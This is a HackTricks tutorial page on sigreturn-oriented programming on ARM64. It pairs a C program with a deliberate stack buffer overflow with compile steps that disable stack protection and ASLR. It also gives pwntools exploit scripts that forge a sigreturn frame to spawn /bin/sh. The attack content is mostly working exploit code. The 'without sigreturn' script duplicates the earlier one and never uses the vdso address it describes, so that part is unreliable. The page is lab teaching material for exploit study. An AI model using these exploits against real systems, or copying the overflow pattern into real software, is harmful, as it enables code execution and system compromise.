SROP - ARM64 - HackTricks

# SROP - ARM64

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Pwntools example

This example is creating the vulnerable binary and exploiting it. The binary reads into the stack and then calls `sigreturn`:

    from pwn import *

    binsh = "/bin/sh"
    context.clear()
    context.arch = "arm64"

    asm = ''
    asm += 'sub sp, sp, 0x1000\n'
    asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
    asm += shellcraft.sigreturn() # Call sigreturn
    asm += 'syscall: \n' #Easy symbol to use in the exploit
    asm += shellcraft.syscall()
    asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
    binary = ELF.from_assembly(asm)

    frame = SigreturnFrame()
    frame.x8 = constants.SYS_execve
    frame.x0 = binary.symbols['binsh']
    frame.x1 = 0x00
    frame.x2 = 0x00
    frame.pc = binary.symbols['syscall']

    p = process(binary.path)
    p.send(bytes(frame))
    p.interactive()

## bof example

### Code

    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>

    void do_stuff(int do_arg){
        if (do_arg == 1)
            __asm__("mov x8, 0x8b; svc 0;");
        return;
    }

    char* vulnerable_function() {
        char buffer[64];
        read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

        return buffer;
    }

    char* gen_stack() {
        char use_stack[0x2000];
        strcpy(use_stack, "Hello, world!");
        char* b = vulnerable_function();
        return use_stack;
    }

    int main(int argc, char **argv) {
        char* b = gen_stack();
        do_stuff(2);
        return 0;
    }

Compile it with:

    clang -o srop srop.c -fno-stack-protector
    echo 0 | sudo tee /proc/sys/kernel/randomize_va_space  # Disable ASLR

## Exploit

The exploit abuses the bof to return to the call to `sigreturn` and prepare the stack to call `execve` with a pointer to `/bin/sh`.

    from pwn import *

    p = process('./srop')
    elf = context.binary = ELF('./srop')
    libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
    libc.address = 0x0000fffff7df0000 # ASLR disabled
    binsh = next(libc.search(b"/bin/sh"))

    stack_offset = 72

    sigreturn = 0x00000000004006e0 # Call to sig
    svc_call = 0x00000000004006e4  # svc	#0x0

    frame = SigreturnFrame()
    frame.x8 = 0xdd            # syscall number for execve
    frame.x0 = binsh
    frame.x1 = 0x00             # NULL
    frame.x2 = 0x00             # NULL
    frame.pc = svc_call

    payload = b'A' * stack_offset
    payload += p64(sigreturn)
    payload += bytes(frame)

    p.sendline(payload)
    p.interactive()

## bof example without sigreturn

### Code

    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>

    char* vulnerable_function() {
        char buffer[64];
        read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

        return buffer;
    }

    char* gen_stack() {
        char use_stack[0x2000];
        strcpy(use_stack, "Hello, world!");
        char* b = vulnerable_function();
        return use_stack;
    }

    int main(int argc, char **argv) {
        char* b = gen_stack();
        return 0;
    }

## Exploit

In the section `vdso` it's possible to find a call to `sigreturn` in the offset `0x7b0`:

Therefore, if leaked, it's possible to use this address to access a `sigreturn` if the binary isn't loading it:

    from pwn import *

    p = process('./srop')
    elf = context.binary = ELF('./srop')
    libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
    libc.address = 0x0000fffff7df0000 # ASLR disabled
    binsh = next(libc.search(b"/bin/sh"))

    stack_offset = 72

    sigreturn = 0x00000000004006e0 # Call to sig
    svc_call = 0x00000000004006e4  # svc	#0x0

    frame = SigreturnFrame()
    frame.x8 = 0xdd            # syscall number for execve
    frame.x0 = binsh
    frame.x1 = 0x00             # NULL
    frame.x2 = 0x00             # NULL
    frame.pc = svc_call

    payload = b'A' * stack_offset
    payload += p64(sigreturn)
    payload += bytes(frame)

    p.sendline(payload)
    p.interactive()

For more info about vdso check:

Ret2vDSO

And to bypass the address of `/bin/sh` you could create several env variables pointing to it, for more info:

ASLR

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.